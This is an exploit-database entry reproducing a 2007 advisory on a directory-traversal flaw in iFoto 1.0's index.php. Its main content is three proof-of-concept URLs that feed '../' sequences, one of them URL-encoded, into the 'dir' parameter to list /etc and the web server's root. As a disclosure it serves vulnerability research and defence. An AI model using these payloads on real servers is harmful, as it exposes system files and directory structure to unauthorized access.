iFoto 1.0 - index.php Directory Traversal

2007-07-25T00:00:00
ID EXPLOITPACK:B2AFD9FC6A4ECBA92BF8B5043CB4FA71
Type exploitpack
Reporter Lostmon
Modified 2007-07-25T00:00:00

Description

iFoto 1.0 - index.php Directory Traversal

                                        
                                            source: https://www.securityfocus.com/bid/25065/info

iFoto is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker can exploit this issue to view the directory structure of the affected computer within the context of the webserver.

This issue affects iFoto 1.0; other versions may also be affected. 

http://www.example.com/ifoto/?dir=..%2F..%2F..%2F..%2F..%2F..%2Fetc
http://www.example.com/ifoto/?dir=../../../../../../etc
http://www.example.com/ifoto/index.php?dir=../../../../../../